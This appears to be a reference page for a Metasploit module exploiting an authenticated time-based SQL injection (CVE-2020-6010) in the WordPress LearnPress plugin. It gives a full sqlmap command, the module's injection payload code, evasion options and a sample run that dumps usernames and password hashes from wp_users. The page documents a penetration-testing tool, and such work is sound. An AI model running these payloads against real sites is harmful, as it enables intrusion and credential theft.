Wordpress LearnPress current_items Authenticated SQLi - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/wp_learnpress_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Wordpress LearnPress current_items Authenticated SQLi
Module: auxiliary/scanner/http/wp_learnpress_sqli
Source code: modules/auxiliary/scanner/http/wp_learnpress_sqli.rb
Disclosure date: 2020-04-29
Last modification time: 2021-12-15 16:42:46 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-6010

LearnPress, a learning management plugin for WordPress, prior to 3.2.6.8 is affected by an authenticated SQL injection via the current_items parameter of the post-new.php page.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/wp_learnpress_sqli
msf auxiliary(wp_learnpress_sqli) > show options
    ... show and set options ...
msf auxiliary(wp_learnpress_sqli) > set RHOSTS ip-range
msf auxiliary(wp_learnpress_sqli) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_learnpress_sqli) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(wp_learnpress_sqli) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_learnpress_sqli) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


LearnPress, a learning management plugin for WordPress, prior to 3.2.6.8 is affected by an authenticated SQL injection via the current_items[] parameter of the post-new.php page.

The plugin can be downloaded here

This module slightly replicates sqlmap running as:

sqlmap -u 'http:///wp-admin/post-new.php?post_type=lp_order' --cookie '' --data "type=lp_course&context=order-items&context_id=32&term=+test&paged=1&lp-ajax=modal_search_items¤t_items[]=1" -p "current_items[]" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql

Verification Steps


  1. Install the plugin, use defaults
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/wp_learnpress_sqli
  4. Do: set username <username>
  5. Do: set password <password>
  6. Do: run
  7. You should get the users and hashes returned.

Options


ACTION: List Users

This action lists COUNT users and password hashes.

COUNT


If action List Users is selected (default), this is the number of users to enumerate. The larger this list, the more time it will take. Defaults to 3.

PASSWORD

The password for a user.

USERNAME

The username for a user.

Scenarios


LearnPress 3.2.6.7 on Wordpress 5.4.4 on Ubuntu 20.04

resource (learnpress.rb)> use auxiliary/scanner/http/wp_learnpress_sqli
resource (learnpress.rb)> set rhosts 111.111.1.111
rhosts => 111.111.1.111
resource (learnpress.rb)> set username admin
username => admin
resource (learnpress.rb)> set password admin
password => admin
resource (learnpress.rb)> set verbose true
verbose => true
resource (learnpress.rb)> set count 3
count => 3
resource (learnpress.rb)> run
[*] Checking /wp-content/plugins/learnpress/readme.txt
[*] Found version 3.2.6.7 in the plugin
[+] Vulnerable version detected
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(CKvFyxDg) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Encoded to (select group_concat(CKvFyxDg) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xd5,0)),ifnull(user_pass,repeat(0x49,0))) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] wp_users
========

 user_login  user_pass
 ----------  ---------
 admin       $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
 admin2      $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
 editor      $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_learnpress_sqli) > creds
Credentials
===========

host  origin         service  public  private                             realm  private_type        JtR Format
----  ------         -------  ------  -------                             -----  ------------        ----------
      111.111.1.111           admin   $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0         Nonreplayable hash  phpass
      111.111.1.111           editor  $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/         Nonreplayable hash  phpass
      111.111.1.111           admin2  $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1         Nonreplayable hash  phpass

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/wp_learnpress_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/wp_learnpress_sqli

msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show info

       Name: Wordpress LearnPress current_items Authenticated SQLi
     Module: auxiliary/scanner/http/wp_learnpress_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-04-29

Provided by:
  h00die
  Omri Herscovici
  Sagi Tzadik
  nhattruong

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name        Description
  ----        -----------
  List Users  Queries username, password hash for COUNT users

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COUNT      3                no        Number of users to enumerate
  PASSWORD                    yes       Valid Password for login
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  THREADS    1                yes       The number of concurrent threads (max one per host)
  USERNAME                    yes       Valid Username for login
  VHOST                       no        HTTP server virtual host

Description:
  LearnPress, a learning management plugin for WordPress, prior to 
  3.2.6.8 is affected by an authenticated SQL injection via the 
  current_items parameter of the post-new.php page.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-6010
  https://research.checkpoint.com/2020/e-learning-platforms-getting-schooled-multiple-vulnerabilities-in-wordpress-most-popular-learning-management-system-plugins/
  https://www.exploit-db.com/exploits/50137
  https://wpscan.com/vulnerability/10208

Module Options


This is a complete list of options available in the scanner/http/wp_learnpress_sqli auxiliary module:

msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show options

Module options (auxiliary/scanner/http/wp_learnpress_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COUNT      3                no        Number of users to enumerate
   PASSWORD                    yes       Valid Password for login
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   USERNAME                    yes       Valid Username for login
   VHOST                       no        HTTP server virtual host

Auxiliary action:

   Name        Description
   ----        -----------
   List Users  Queries username, password hash for COUNT users

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/wp_learnpress_sqli auxiliary module:

msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show advanced

Module advanced options (auxiliary/scanner/http/wp_learnpress_sqli):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, S
                                                                                       SL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   SqliDelay             1.0                                                 no        The delay to sleep on time-based blind SQL injections
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/wp_learnpress_sqli module can do:

msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show actions

Auxiliary actions:

   Name        Description
   ----        -----------
   List Users  Queries username, password hash for COUNT users

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/wp_learnpress_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/wp_learnpress_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Server not online or not detected as wordpress


Here is a relevant code snippet related to the "Server not online or not detected as wordpress" error message:

52:	    ]
53:	  end
54:	
55:	  def run_host(ip)
56:	    unless wordpress_and_online?
57:	      vprint_error('Server not online or not detected as wordpress')
58:	      return
59:	    end
60:	
61:	    checkcode = check_plugin_version_from_readme('learnpress', '3.2.6.8')
62:	    if checkcode == Msf::Exploit::CheckCode::Safe

Learnpress version not vulnerable


Here is a relevant code snippet related to the "Learnpress version not vulnerable" error message:

58:	      return
59:	    end
60:	
61:	    checkcode = check_plugin_version_from_readme('learnpress', '3.2.6.8')
62:	    if checkcode == Msf::Exploit::CheckCode::Safe
63:	      vprint_error('Learnpress version not vulnerable')
64:	      return
65:	    end
66:	    print_good('Vulnerable version detected')
67:	
68:	    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])

Invalid login, check credentials


Here is a relevant code snippet related to the "Invalid login, check credentials" error message:

66:	    print_good('Vulnerable version detected')
67:	
68:	    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
69:	
70:	    if cookie.nil?
71:	      vprint_error('Invalid login, check credentials')
72:	      return
73:	    end
74:	
75:	    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
76:	      res = send_request_cgi({

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

88:	          'paged' => 1,
89:	          'lp-ajax' => 'modal_search_items',
90:	          'current_items[]' => "1 AND (SELECT #{Rex::Text.rand_text_numeric(4, 0)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)})"
91:	        }
92:	      })
93:	      fail_with Failure::Unreachable, 'Connection failed' unless res
94:	    end
95:	
96:	    unless @sqli.test_vulnerable
97:	      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
98:	      return

<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay.


Here is a relevant code snippet related to the "<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay." error message:

92:	      })
93:	      fail_with Failure::Unreachable, 'Connection failed' unless res
94:	    end
95:	
96:	    unless @sqli.test_vulnerable
97:	      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
98:	      return
99:	    end
100:	    columns = ['user_login', 'user_pass']
101:	
102:	    print_status('Enumerating Usernames and Password Hashes')

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • h00die
  • Omri Herscovici
  • Sagi Tzadik
  • nhattruong

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.